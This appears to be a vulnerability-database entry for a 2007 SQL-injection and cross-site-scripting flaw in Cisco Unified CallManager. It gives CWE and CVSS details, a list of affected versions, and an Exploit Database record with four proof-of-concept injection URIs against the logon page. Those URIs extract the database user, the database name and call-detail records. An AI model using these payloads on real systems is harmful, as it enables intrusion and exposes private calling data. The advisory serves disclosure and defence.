Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-89 |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 30541
Publication date : 2007-08-28 22h00 +00:00
Author : anonymous
EDB Verified : Yes
source: https://www.securityfocus.com/bid/25480/info
Cisco Unified CallManager and Unified Communications Manager are prone to multiple input-validation vulnerabilities because the applications fail to properly sanitize user-supplied input. These issues include a cross-site scripting vulnerability and an SQL-injection vulnerability.
A successful exploit may allow an attacker to steal cookie-based authentication credentials, execute malicious script code in a user's browser, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The following proof-of-concept URIs are available for the SQL-injection vulnerability:
To display the logged-in database user:
https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+CURRENT_USER;select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''='
To display the selected database:
https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+db_name();select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''='
To display the UNIX time when a call was made from extension 12345:
https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+top+1+convert(char(12),dateTimeOrigination)+from+cdr..CallDetailRecord+where+finalCalledPartyNumber+%3C%3E+''+and+callingPartyNumber='12345';select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''='
To display the destination number for that call. Replace "1174900000" with the value from the previous query:
https://www.example.com/CCMUser/logon.asp?lang=en'+union+select+top+1+finalCalledPartyNumber+from+cdr..CallDetailRecord+where+callingPartyNumber='12345'+and+dateTimeOrigination=1174900000;select+tkUserLocale+from+UserLocaleBrowserLanguageMap+M+where+''='
Products Mentioned
Configuraton 0
Cisco>>Unified_communications_manager >> Version 3.3\(5\)
Cisco>>Unified_communications_manager >> Version 3.3\(5\)sr1
Cisco>>Unified_communications_manager >> Version 3.3\(5\)sr2a
Cisco>>Unified_communications_manager >> Version 4.1\(3\)
Cisco>>Unified_communications_manager >> Version 4.1\(3\)sr1
Cisco>>Unified_communications_manager >> Version 4.1\(3\)sr2
Cisco>>Unified_communications_manager >> Version 4.1\(3\)sr3
Cisco>>Unified_communications_manager >> Version 4.1\(3\)sr4
Cisco>>Unified_communications_manager >> Version 4.2
Cisco>>Unified_communications_manager >> Version 4.2.1
Cisco>>Unified_communications_manager >> Version 4.2.2
Cisco>>Unified_communications_manager >> Version 4.2.3
Cisco>>Unified_communications_manager >> Version 4.2.3sr1
Cisco>>Unified_communications_manager >> Version 4.3
Cisco>>Unified_communications_manager >> Version 4.3\(1\)
Cisco>>Call_manager >> Version 3.3\(5\)sr1
Cisco>>Call_manager >> Version 3.3\(5\)sr2
Cisco>>Call_manager >> Version 3.3\(5\)sr2a
Cisco>>Call_manager >> Version 4.1
Cisco>>Call_manager >> Version 4.1\(3\)sr1
Cisco>>Call_manager >> Version 4.1\(3\)sr2
Cisco>>Call_manager >> Version 4.1\(3\)sr3
Cisco>>Call_manager >> Version 4.1\(3\)sr4
Cisco>>Call_manager >> Version 4.2
Cisco>>Call_manager >> Version 4.2\(1\)
Cisco>>Call_manager >> Version 4.2\(2\)
Cisco>>Call_manager >> Version 4.2\(3\)
Cisco>>Call_manager >> Version 4.2\(3\)sr1
Cisco>>Call_manager >> Version 4.2\(3\)sr2
Cisco>>Call_manager >> Version 4.3
Cisco>>Call_manager >> Version 4.3\(1\)
References